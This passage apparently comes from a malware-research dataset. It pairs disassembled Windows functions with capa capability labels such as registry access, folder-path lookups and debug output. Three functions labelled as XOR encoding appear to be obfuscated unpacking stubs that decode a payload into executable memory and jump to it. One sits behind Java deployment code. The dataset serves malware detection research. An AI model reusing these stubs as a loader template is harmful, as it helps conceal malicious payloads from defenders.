joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008991
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x20c]
sub esp, 0x20c
push 0xffffffffffffffff
push 0x1002af9e
mov eax, dword fs:[0]
push eax
sub esp, 0xc
mov eax, dword [0x10041024]
xor eax, ebp
mov dword [ebp + 0x208], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, dword [ebp + 0x214]
lea eax, [ebp]
xor ebx, ebx
push eax
push ebx
push ebx
push 0x23
push ebx
mov byte [edi], bl
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
test esi, esi
js 0x10008a7d
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x14]
call fcn.10007fbc
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.1000801a
push 0x104
push eax
push dword [ebp + 0x218]
push edi
call fcn.10022e1f
mov ecx, dword [ebp - 0x14]
add esp, 0x10
test ecx, ecx
je 0x10008a53
call fcn.1000810d
jmp 0x10008a53
xor eax, eax
test esi, esi
setns al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.1000be90
add ebp, 0x20c
leave
ret
push esi
push str.Error:_08x_in_::SHGetFolderPathW_0__CSIDL_COMMON_APPDATA__NULL__SHGFP_TYPE_CURRENT__szPath_
call fcn.1000b923
pop ecx
pop ecx
push ebx
push esi
call fcn.10022e1f
int3

Function at 0x10008bf5
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x1002afc6
call fcn.1000bf32
mov ebx, dword [ebp + 8]
xor edi, edi
xor eax, eax
mov dword [ebp - 4], edi
mov esi, edi
mov dword [ebp - 0x14], esi
mov word [ebx], ax
call fcn.10008b0c
test eax, eax
je 0x10008c26
call fcn.10008afe
mov esi, eax
mov dword [ebp - 0x14], eax
push 0x104
push ebx
push esi
push edi
push 0x1002f4bc
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
test esi, esi
js 0x10008d3c
jmp 0x10008c76
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x10008c84
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
test esi, esi
jns 0x10008d34
push ebx
push edi
push edi
push 0x1a
push edi
mov dword [ebp - 4], 2
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
test esi, esi
jns 0x10008ce5
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x10008d42
or dword [ebp - 4], 0xffffffff
test esi, esi
jns 0x10008d34
push 1
push 0x1a
push ebx
push edi
mov dword [ebp - 4], 4
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
test esi, esi
jns 0x10008d34
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x10008d42
mov eax, esi
call fcn.1000bea1
ret
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__hToken__pPath__MAX_PATH_
call fcn.1000b923
pop ecx
pop ecx
push edi
push esi
call fcn.10022e1f
int3
Function at 0x100098ab
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x80c
mov eax, dword [0x10041024]
xor eax, esp
mov dword [esp + 0x808], eax
push ebx
mov ebx, dword [esp + 0x818]
lea eax, [esp + 0xc]
push ebp
push esi
mov esi, dword [esp + 0x81c]
mov ebp, 0x400
push edi
mov edi, dword [esp + 0x828]
push ebp
push 0
push eax
call fcn.1000de50
push esi
push str.SOFTWAREClassesCLSID_sInprocServer32
lea eax, [esp + 0x2c]
push ebp
push eax
call fcn.10004e7f
add esp, 0x1c
lea eax, [esp + 0x10]
neg edi
sbb edi, edi
push eax
push 0x20019
push 0
lea eax, [esp + 0x24]
add edi, reloc.OLEAUT32.dll_SysReAllocString
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, eax
test ecx, ecx
je 0x10009930
xor eax, eax
cmp ecx, 2
sete al
jmp 0x1000997e
lea eax, [esp + 0x14]
mov dword [esp + 0x14], ebp
push eax
lea eax, [esp + 0x41c]
push eax
push 0x10032fa1
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
push dword [esp + 0x10]
test eax, eax
je 0x10009962
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x1000997e
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x418]
push eax
push ebx
call fcn.10022e1f
neg eax
pop ecx
sbb eax, eax
pop ecx
neg eax
mov ecx, dword [esp + 0x818]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1000be90
add esp, 0x80c
ret

Function at 0x1000a2c8
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x108]
sub esp, 0x108
push 0xffffffffffffffff
push 0x1002b021
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x10041024]
xor eax, ebp
mov dword [ebp + 0x104], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x1003392c
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.10022e1f
add esp, 0xc
test eax, eax
jne 0x1000a3bd
push dword [ebp - 0x18]
call fcn.10022e1f
cmp dword [0x10041ca8], 0
pop ecx
je 0x1000a336
xor eax, eax
inc eax
jmp 0x1000a3bf
lea eax, [ebp]
mov esi, 0x104
push eax
push esi
call dword [sym.imp.kernel32.dll_GetTempPathA]
cmp eax, esi
ja 0x1000a3bd
test eax, eax
je 0x1000a3bd
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x10]
call fcn.10007f71
and dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
push str.JavaDeployReg.log
call fcn.10007f71
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x10]
call fcn.100080b4
mov ecx, dword [ebp - 0x14]
mov byte [ebp - 4], 0
test ecx, ecx
je 0x1000a38b
call fcn.1000810d
push 0x10033958
lea ecx, [ebp - 0x10]
call fcn.1000801a
push eax
push 0x10041ca8
call fcn.10022e1f
mov ecx, dword [ebp - 0x10]
add esp, 0xc
mov esi, eax
neg esi
sbb esi, esi
test ecx, ecx
je 0x1000a3b8
call fcn.1000810d
lea eax, [esi + 1]
jmp 0x1000a3bf
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp + 0x104]
xor ecx, ebp
call fcn.1000be90
add ebp, 0x108
leave
ret
Function at 0x1000a882
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
mov eax, 0x1010
call fcn.1000c210
mov eax, dword [0x10041024]
xor eax, esp
mov dword [esp + 0x100c], eax
push ebx
mov ebx, dword [esp + 0x1018]
lea eax, [esp + 0x10]
push ebp
push esi
push edi
mov edi, dword [esp + 0x1028]
mov ebp, 0x800
xor esi, esi
mov dword [esp + 0x18], 1
push ebp
push esi
push eax
mov dword [esp + 0x1c], esi
call fcn.1000de50
push ebp
lea eax, [esp + 0x82c]
push esi
push eax
call fcn.1000de50
push ebx
call fcn.10022e1f
add esp, 0x1c
test eax, eax
je 0x1000a91b
push eax
push dword [esp + 0x1030]
push edi
call fcn.10022e1f
add esp, 0xc
test eax, eax
je 0x1000aa92
xor eax, eax
mov ecx, dword [esp + 0x101c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1000be90
add esp, 0x1010
ret
lea eax, [esp + 0x10]
push eax
push 0x20019
push esi
push dword [0x10041014]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000a900
lea eax, [esp + 0x102c]
push eax
push edi
lea eax, [esp + 0x20]
push eax
push esi
push ebx
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x1000aa76
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x800
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x20]
push eax
push esi
push 0x10035214
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x1000a996
xor esi, esi
inc esi
jmp 0x1000aa76
push dword [esp + 0x10]
call ebp
lea eax, [esp + 0x10]
push eax
push 0x20019
push esi
push str.SOFTWAREOracleJavaDeploy
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000a98e
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x800
push eax
lea eax, [esp + 0x820]
push eax
lea eax, [esp + 0x20]
push eax
push esi
push str.deployment.modified.timestamp
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000a98e
lea eax, [esp + 0x1c]
mov dword [esp + 0x14], 0x800
push eax
lea eax, [esp + 0x820]
push eax
call fcn.10022e1f
pop ecx
pop ecx
test eax, eax
js 0x1000aa92
lea eax, [esp + 0x14]
push eax
push edi
lea eax, [esp + 0x20]
push eax
push esi
push ebx
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000a98e
push dword [esp + 0x10]
call ebp
call fcn.10022e1f
test eax, eax
jne 0x1000aa92
lea eax, [esp + 0x10]
push eax
push 0x20006
push esi
push dword [0x10041014]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000a900
push dword [esp + 0x14]
push edi
push 1
push esi
push ebx
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1000aa83
push dword [esp + 0x10]
call ebp
mov eax, esi
jmp 0x1000a902
push dword [esp + 0x10]
call ebp
push edi
push ebx
call fcn.10022e1f
pop ecx
pop ecx
xor eax, eax
inc eax
jmp 0x1000a902
Function at 0x1000b7a1
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x824
mov eax, dword [0x10041024]
xor eax, esp
mov dword [esp + 0x820], eax
push ebx
push ebp
mov ebp, dword [esp + 0x830]
lea eax, [esp + 0x428]
push esi
mov esi, dword [esp + 0x838]
xor ebx, ebx
push edi
mov edi, 0x400
push edi
push ebx
push eax
call fcn.1000de50
push esi
push ebx
push ebp
push 0xffffffffffffffff
lea eax, [esp + 0x44c]
push edi
push eax
call fcn.10022e1f
movzx ecx, byte [esp + 0x853]
lea edi, [esp + 0x34]
xor edx, edx
test eax, eax
push 8
cmovs ecx, edx
xor eax, eax
mov byte [esp + 0x857], cl
pop ecx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x34]
push 0x20
push eax
call fcn.10022e1f
push 0x10038198
lea eax, [esp + 0x40]
push 0x20
push eax
call fcn.10022e1f
push 0x400
lea eax, [esp + 0x6c]
push ebx
push eax
call fcn.1000de50
mov ecx, ebp
add esp, 0x44
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000b846
sub ecx, edx
cmp ecx, 6
jbe 0x1000b86d
lea eax, [ebp - 6]
add eax, ecx
push str.__08x_
push eax
call fcn.10022e1f
pop ecx
pop ecx
test eax, eax
jne 0x1000b86d
xor ebx, ebx
inc ebx
lea esi, [esp + 0x10]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1000b874
sub esi, ecx
lea eax, [esp + 0x430]
push eax
mov ecx, 0x10036ae3
test ebx, ebx
mov eax, str.Error:
cmove eax, ecx
push eax
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
push eax
push str.P:_04d_T:_04d__s_s
mov eax, 0x3ff
sub eax, esi
push 0xffffffffffffffff
push eax
lea eax, [esp + 0x4c]
add eax, esi
push eax
call fcn.10022e1f
mov ecx, dword [esp + 0x44b]
test eax, eax
push esi
lea eax, [esp + 0x34]
mov edx, 0x2e2e2e
push eax
lea eax, [esp + 0x58]
cmovs ecx, edx
push eax
mov dword [esp + 0x457], ecx
call fcn.1000d8d0
lea edi, [esp + 0x5c]
add esp, 0x2c
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000b8ee
mov ax, word [0x100381c4]
mov word [edi], ax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
mov ecx, dword [esp + 0x830]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1000be90
add esp, 0x824
ret

Function at 0x10022e1f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x10022e2e
pop dword [ebp - 0x10]
mov eax, 0xaa8c0e2
sub eax, 0xfaa692b4
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x43fbe
push 0
mov eax, 0x673ae553
sub eax, 0x573823bf
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x5559
mov ebx, eax
mov edi, 0x10046000
add edi, dword [ebp - 0x10]
mov edx, 0xb8fd6db
add dword [ebp - 4], 0xd60fc64d
mov esi, dword [edi]
xor esi, edx
add dword [ebp - 8], 0x49421cac
mov dword [ebx], esi
add dword [ebp - 4], 0x7f45b9a1
add ebx, 0x70c2c707
sub ebx, 0x70c2c703
add edi, 0x7fb46f8e
sub edi, 0x7fb46f8a
loop 0x10022e7b
add eax, 0xda2b42
sub eax, 0xd8e30b
xor ebx, ebx
add ebx, eax
add eax, 0xf2a63899
sub eax, 0xf2a63894
mov ecx, 0x10000000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x3202ddc2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x3202ddd1
pop dword [ebp - 0x24]
mov eax, 0x921117be
add eax, 0x9ff1c613
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xad307944
add dword [ebp - 0x34], 0xa121cc07
mov dword [ebp - 0x30], 0xd5135756
sub dword [ebp - 0x30], 0xa2e00b11
mov dword [ebp - 0x2c], 0x1a420fc9
add dword [ebp - 0x2c], 0x320a3465
mov dword [ebp - 0x28], 0xf616098a
sub dword [ebp - 0x28], 0xf616098a
lea eax, [ebp - 0x34]
push eax
mov eax, 0x456f822f
add eax, 0xec95ae55
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xe3580fc4
sub dword [ebp - 0x34], 0x6ee5a66e
mov dword [ebp - 0x30], 0x648bb3f2
sub dword [ebp - 0x30], 0x231f527d
mov dword [ebp - 0x2c], 0xc9b3c53b
add dword [ebp - 0x2c], 0x99bba731
mov dword [ebp - 0x28], 0xb96dc314
sub dword [ebp - 0x28], 0xb96dc314
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xd102264f
add eax, 0x61030a2d
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x4f32d
push 0
call eax
mov ecx, 0xce43263a
sub ecx, 0xce42bee8
mov edx, eax
mov ebx, 0x132b345a
sub ebx, 0xe123925a
add ebx, dword [ebp - 0x24]
mov edi, 0x4b2aeed7
sub edi, 0x317d679
xor dword [ebp - 8], eax
mov esi, dword [ebx]
xor dword [ebp - 0xc], edx
xor esi, edi
mov dword [ebp - 0x10], 0xf1fa3949
mov dword [edx], esi
sub dword [ebp - 0x14], 0xf09e29a4
add edx, 0x8c0dc506
add edx, 0x73f23afe
add ebx, 0x359cd697
sub ebx, 0x359cd693
loop 0x3202def3
add eax, 0x1901b
xor ebx, ebx
add ebx, eax
add eax, 0xc30abd66
add eax, 0x3cf5429f
mov ecx, 0x340978e0
add ecx, 0xfdf68720
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x1001899b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x100189aa
pop dword [ebp - 0x10]
mov eax, 0x88d6e06f
add eax, 0x872aa93b
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x403d8
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x4749
xor edi, edi
add edi, eax
mov edx, 0x1003be00
add edx, dword [ebp - 0x10]
mov esi, 0x6cd4abf3
add esi, 0xebe1b04d
xor dword [ebp - 4], edx
mov ebx, dword [edx]
sub dword [ebp - 0xc], eax
xor ebx, esi
mov dword [edi], ebx
add dword [ebp - 8], 0xdbd12f41
add edi, 0x26fc4bd2
sub edi, 0x26fc4bce
add edx, 0x3b8ca7a5
add edx, 0xc473585f
loop 0x100189fa
add eax, 0x4e978217
sub eax, 0x4e967220
mov ebx, eax
add eax, 0xe256daba
add eax, 0x1da9254b
mov ecx, 0x10000000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x100289d0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x100330b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10035b0c]
test dword [ebp + 8], eax
je 0x10028a7a
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x808]
push eax
call fcn.1001899b
xor eax, eax
add esp, 0xc
mov word [ebp - 8], ax
mov eax, dword [0x10035b08]
test eax, eax
je 0x10028a6d
lea ecx, [ebp - 0x808]
push ecx
push eax
call fcn.1001899b
mov eax, dword [0x100330ac]
pop ecx
pop ecx
test eax, eax
jle 0x10028a7a
push esi
mov esi, dword [0x10035b10]
push edi
mov edi, dword [0x10035b14]
cdq
push edx
push eax
push edi
push esi
call fcn.10029420
add esi, 1
mov dword [0x10035b10], esi
adc edi, 0
or eax, edx
mov dword [0x10035b14], edi
pop edi
pop esi
jne 0x10028a7a
push dword [0x10035b08]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
pop ecx
jmp 0x10028a7a
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10028d50
leave
ret
Function at 0x401520
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401539
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x40154d
pop esi
pop edi
xor eax, eax
pop ebx
ret
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x40156e
cmp esi, eax
jae 0x401547
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401560
cmp esi, eax
jae 0x401547
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x401c50
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
or edx, 0xffffffff
cmp eax, 0xffffffff
jne 0x401c80
lea eax, [esi - 0x10]
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401c7b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
or eax, 0xffffffff
pop esi
ret
and eax, 1
push edi
mov edi, eax
lea eax, [esi - 0x10]
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401c9d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, edi
pop edi
pop esi
ret

Function at 0x4022b0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4657c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x1c]
mov eax, dword [esi]
mov ecx, dword [eax - 0x10]
mov edx, dword [ecx]
push edi
xor edi, edi
mov dword [esp + 8], edi
call dword [edx + 0x10]
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax]
mov edx, dword [eax - 0xc]
mov ecx, dword [esi]
mov esi, dword [ecx - 0xc]
push edx
push eax
push esi
push ecx
lea ecx, [esp + 0x30]
push ecx
mov dword [esp + 0x28], edi
call fcn.00402050
mov esi, dword [esp + 0x34]
add esi, 0xfffffff0
push esi
call fcn.004019b0
mov edi, dword [esp + 0x34]
add eax, 0x10
mov dword [edi], eax
add esp, 0x18
mov dword [esp + 0x14], 0xffffffff
lea edx, [esi + 0xc]
or eax, 0xffffffff
lock xadd dword [edx], eax
dec eax
test eax, eax
jg 0x402342
mov ecx, dword [esi]
mov edx, dword [ecx]
push esi
call dword [edx + 4]
mov ecx, dword [esp + 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x402c90
Capabilities:
Access peb ldr_data
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x4658c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
push edi
xor edi, edi
mov dword [esp + 0x14], edi
call fcn.00441a77
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
lea esi, [eax + 0x10]
mov dword [esp + 0x10], esi
mov dword [esp + 0x24], edi
call fcn.00441a77
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
lea ebx, [eax + 0x10]
mov dword [esp + 0x14], ebx
mov byte [esp + 0x24], 1
call fcn.004245b7
mov ebp, dword [esp + 0x30]
push ebp
mov edi, eax
call fcn.0042469c
add esp, 4
test eax, eax
jne 0x402e0f
push edi
call fcn.0042469c
lea eax, [esp + 0x1c]
push ebp
push eax
call fcn.004028e0
add esp, 0xc
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], 2
call fcn.004021e0
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
mov byte [esp + 0x24], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402d43
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov ebx, dword [esi - 4]
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, ebx
sub eax, 0x14
or eax, ecx
jge 0x402d66
push 0x14
lea ecx, [esp + 0x14]
call fcn.00401960
mov esi, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
push 0
push 0
push 0
push 0
push 0
push 0x14
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test esi, esi
jne 0x402d86
xor eax, eax
jmp 0x402d9b
mov eax, esi
lea edx, [eax + 1]
jmp 0x402d90
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402d90
sub eax, edx
js 0x402e05
cmp eax, dword [esi - 8]
jg 0x402e05
mov dword [esi - 0xc], eax
mov byte [eax + esi], 0
lea eax, [esp + 0x10]
push eax
call fcn.004024e0
mov esi, dword [esp + 0x14]
add esi, 0xfffffff0
push esi
call fcn.004019b0
mov edi, dword [esp + 0x34]
add eax, 0x10
mov dword [edi], eax
lea eax, [ebx - 0x10]
add esp, 8
mov byte [esp + 0x24], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402de9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov dword [esp + 0x24], 0xffffffff
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x402e60
mov ecx, dword [esi]
push esi
jmp 0x402e5b
push 0x80070057
call fcn.00401500
mov edi, dword [esp + 0x2c]
push 0x4698f4
mov ecx, edi
call fcn.00402830
lea eax, [ebx - 0x10]
mov byte [esp + 0x24], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402e3e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea eax, [esi - 0x10]
mov dword [esp + 0x24], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402e60
mov ecx, dword [eax]
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov ecx, dword [esp + 0x1c]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0x403140
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x465940
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
call fcn.00441a77
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
lea ebp, [eax + 0x10]
mov dword [esp + 8], ebp
mov esi, dword [esp + 0x1c]
cmp esi, 1
mov dword [esp + 0x14], 0
je 0x4032e9
cmp esi, 2
je 0x4032e9
push edi
call fcn.004245b7
push esi
mov edi, eax
call fcn.0042469c
add esp, 4
test eax, eax
jne 0x4032b3
push edi
call fcn.0042469c
lea eax, [esp + 0x24]
push esi
push eax
call fcn.00402c90
add esp, 0xc
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x1c], 1
call fcn.004021e0
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
or ebp, 0xffffffff
mov byte [esp + 0x18], 0
lea ecx, [eax + 0xc]
mov edx, ebp
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4031ea
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea eax, [esp + 0xc]
push eax
call fcn.004024e0
mov edi, dword [esp + 0x10]
mov eax, dword [edi - 0xc]
add esp, 4
test eax, eax
jl 0x40324e
push str.Host
push edi
call fcn.0042472a
add esp, 8
test eax, eax
je 0x40324e
sub eax, edi
mov dword [esp + 0x20], eax
js 0x40324e
lea eax, [edi - 0x10]
mov dword [esp + 0x18], ebp
lea ecx, [eax + 0xc]
lock xadd dword [ecx], ebp
dec ebp
test ebp, ebp
jg 0x403237
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
pop edi
pop esi
mov eax, 7
pop ebp
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret
lea eax, [esp + 0x20]
push esi
push eax
call fcn.004028e0
mov eax, dword [eax]
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov esi, eax
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, ebp
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403284
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea eax, [edi - 0x10]
mov dword [esp + 0x18], ebp
lea ecx, [eax + 0xc]
lock xadd dword [ecx], ebp
dec ebp
test ebp, ebp
jg 0x40329f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
pop edi
mov eax, esi
pop esi
pop ebp
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret
lea eax, [ebp - 0x10]
mov dword [esp + 0x18], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4032d5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
pop edi
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret
lea eax, [ebp - 0x10]
mov dword [esp + 0x14], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40330b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov ecx, dword [esp + 0xc]
pop esi
mov eax, 2
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret